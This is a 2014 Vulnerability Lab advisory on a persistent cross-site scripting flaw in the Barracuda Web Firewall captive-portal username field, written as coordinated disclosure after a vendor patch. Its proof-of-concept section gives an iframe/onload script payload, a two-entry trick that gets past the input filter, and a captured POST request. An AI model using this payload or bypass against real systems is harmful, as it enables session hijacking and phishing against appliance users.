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Barracuda Networks Bug Bounty #31 Firewall - Persistent Access Policy Vulnerability
From: Vulnerability Lab <research () vulnerability-lab com>
Date: Wed, 26 Feb 2014 12:26:39 +0100

Document Title:
===============
Barracuda Networks Bug Bounty #31 Firewall - Persistent Access Policy Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1070

Barracuda Networks Security ID (BNSEC): BNSEC-2068


Release Date:
=============
2014-02-25


Vulnerability Laboratory ID (VL-ID):
====================================
1070


Common Vulnerability Scoring System:
====================================
3.5


Product & Service Introduction:
===============================
The Barracuda Firewall goes beyond traditional network firewalls and UTMs by providing powerful network security, 
granular layer 7 
application controls, user awareness and secure VPN connectivity combined with cloud-based malware protection, content 
filtering 
and reporting. It alleviates the performance bottlenecks in Unified Threat Management (UTM) appliances through 
intelligent integration 
of on-premise and cloud-based technologies. While the powerful on-premises appliance is optimized for tasks like packet 
forwarding and 
routing, Intrusion Prevention (IPS), DNS/DHCP services and site-to-site connectivity; CPU intensive tasks like virus 
scanning, content 
filtering and usage reporting benefit from the scalable performance and elasticity of the cloud.

(Copy of the Vendor Homepage: https://www.barracuda.com/products/firewall )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a persistent web vulnerability in the official Barracuda Networks 
Web Firewall appliance web-application.


Vulnerability Disclosure Timeline:
==================================
2013-09-04:     Researcher Notification & Coordination (Ateeq ur Rehman Khan)
2013-09-06:     Vendor Notification (Barracuda Networks Security Team - Bug Bounty Program)
2013-10-03:     Vendor Response/Feedback (Barracuda Networks Security Team - Bug Bounty Program)
2014-02-17:     Vendor Fix/Patch (Barracuda Networks Developer Team) [Coordination: Eric ****** ]
2014-02-25:     Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Barracuda Networks
Product: Web Firewall 6.1.0.016 - Models: X100; X200; X300; X400 & X600


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in the official Barracuda Networks Web Firewall 
appliance web-application.
The web vulnerability allows remote attackers or local low privileged application user accounts to inject (persistent) 
own malicious script 
codes on the application-side of the vulnerable online-service module.

The vulnerability is located in the `Firewall > Captive Portal > Basic Configuration` and the vulnerable input field is 
`username` 
under the `User Access Policy Exceptions`. Remote attackers are able to inject custom malicious script codes via the 
`Username` 
input field. The attack vector is persistent and the injection request method is POST.

To bypass the filter and to be able to save the injected payload into the application, the attacker needs to create 2 
entries. 
First entry should be the attackers payload and second entry should be any dummy account userid. The application only 
performs 
validation on the active field which is freshly added and ignores the earlier entries thus allowing successful 
injection of 
the script code into the application interface.

The security risk of the persistent validation vulnerability is estimated as high with a cvss (common vulnerability 
scoring system) count 
of 3.5(+)|(-)3.6. Exploitation of the persistent input validation vulnerability requires a low privileged application 
user account and low 
user interaction. Successful exploitation results in session hijacking, persistent phishing, persistent external 
redirects & persistent 
manipulation of affected or connected module context.

Vulnerable Application(s):
                                [+] Firewall (WAF) Appliance Application (X300Vx  v6.1.0.016)

Vulnerable Module(s):
                                [+] Firewall  >  Captive Portal > Basic Configuration > User Access Policy Exceptions

Vulnerable Parameter(s):
                                [+] username


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerabilities can be exploited by remote attackers with low privileged 
web-application user account 
and low user interaction. For security demonstration or to reproduce the remote vulnerability follow the provided 
information and steps below.

Manual steps to reproduce the vulnerability:

1. Login with the user account to the barracuda networks web firewall appliance application
2. Goto Firewall > Captive Portal > Basic Configuration > User Access Policy Exceptions
3. Inject the following Payload and click the + button to add.

ateeq%20"><iframe onload=prompt(/PoC/) src=x></iframe>

4. You should now be able to see a javascript popup proving the existence of this vulnerability.
5. Add another entry a dummy username. This bypass the input filter and you wont get a warning while trying to SAVE the 
modification in the application.


POC: 
<td valign="top"><table class="config_module" frame="box" id="policy_exceptions" rules="none" style="border:none;" 
summary="Box" 
cellpadding="0" cellspacing="0"><tbody><tr><td><input id="username" autocomplete="off" class="authen_cp" 
name="username" type="text"></td>
<td width="22"><input class="new_button authen_cp" id="+" name="+" onclick="add_exception()" value="+" 
type="button"></td></tr>
<tr class="pattern"><td>"><[PERSISTENT INJECTED SCRIPT CODE!]></td><td><input class="new_button" value="-" name="0" 
type="button">
</td></tr></tbody></table></td>


--- PoC Session Request Logs [POST] ---

POST /cgi-mod/index.cgi HTTP/1.1
Host: firewall.ptest.localhost:7228
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.7
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: 
https://firewall.ptest.localhost:7228/cgi-mod/index.cgi?auth_type=Local&et=1378377089&locale=en_US&password=e7657221263938518ad85296817f1f3a&user=guest&primary_tab=FIREWALL&secondary_tab=authen_cp
Content-Length: 606
Cookie: 
ys-fw_custom_user_objects5=o%3Acolumns%3Da%253Ao%25253Aid%25253Dn%2525253A1%25255Ewidth%25253Dn%2525253A150%25255Ehidden%25
253Db%2525253A1%255Eo%25253Aid%25253Dn%2525253A2%25255Ewidth%25253Dn%2525253A150%255Eo%25253Aid%25253Dn%2525253A3%25255Ewidth%2525
3Dn%2525253A250%255Eo%25253Aid%25253Dn%2525253A4%25255Ewidth%25253Dn%2525253A200%255Eo%25253Aid%25253Dn%2525253A5%25255Ewidth%25253
Dn%2525253A50
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

auth_type=Local&et=1378377108&password=33abcd72cc73fde950b3437920747e95&primary_tab=FIREWALL&realm=&secondary_tab=authen_cp&user=guest&role=
&locale=en_US&q=&UPDATE_authen_cp_usernames=ateeq%20%22%3E%3Ciframe%20onload%3Dprompt(%2FPOC%2F)%20src%3Dx%3E%3C%2Fiframe%3E&
UPDATE_authen_cp_user_auth=MSAD&UPDATE_authen_cp_user_access_policy=allow_all&username=%22%3E%3Ciframe%20onload%3Dprompt(%2FPOC%2F)%20src%3Dx%3E%3C%2Fiframe
%3E&UPDATE_authen_cp_auto_logout=30&UPDATE_authen_cp_auto_renewal=5&UPDATE_authen_cp_encryption=strong&UPDATE_authen_cp_signed_cert=
default&ajax_action=check_param_ajax_full&save=Save%20Changes


Response Headers:
HTTP/1.1 200 OK
Server: BarracudaFirewallHTTP 4.0
Date: Thu, 05 Sep 2013 10:12:56 GMT
Content-Type: text/plain; charset=utf-8
Connection: keep-alive
Content-Length: 2


Reference(s):
https://firewall.ptest.localhost:7228/cgi-mod/index.cgi?auth_type=Local&et=1378374620&locale=en_US&password=71109464bdb6adb668cf1e8c29392af0&user=guest&primary_tab=FIREWALL&secondary_tab=authen_cp
https://firewall.ptest.localhost:7228/cgi-mod/index.cgi


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse of the username input field.  Validate all entries inserted in the 
input field to prevent further 
executions of the same vulnerability.

2014-02-17:     Vendor Fix/Patch (Barracuda Networks Developer Team) [Coordination: Eric ****** ]


Security Risk:
==============
The security risk of the persistent input validation web vulnerabilities is estimated as medium.



Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Ateeq Khan (ateeq () evolution-sec com) [www.vulnerability-lab.com]



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=========================
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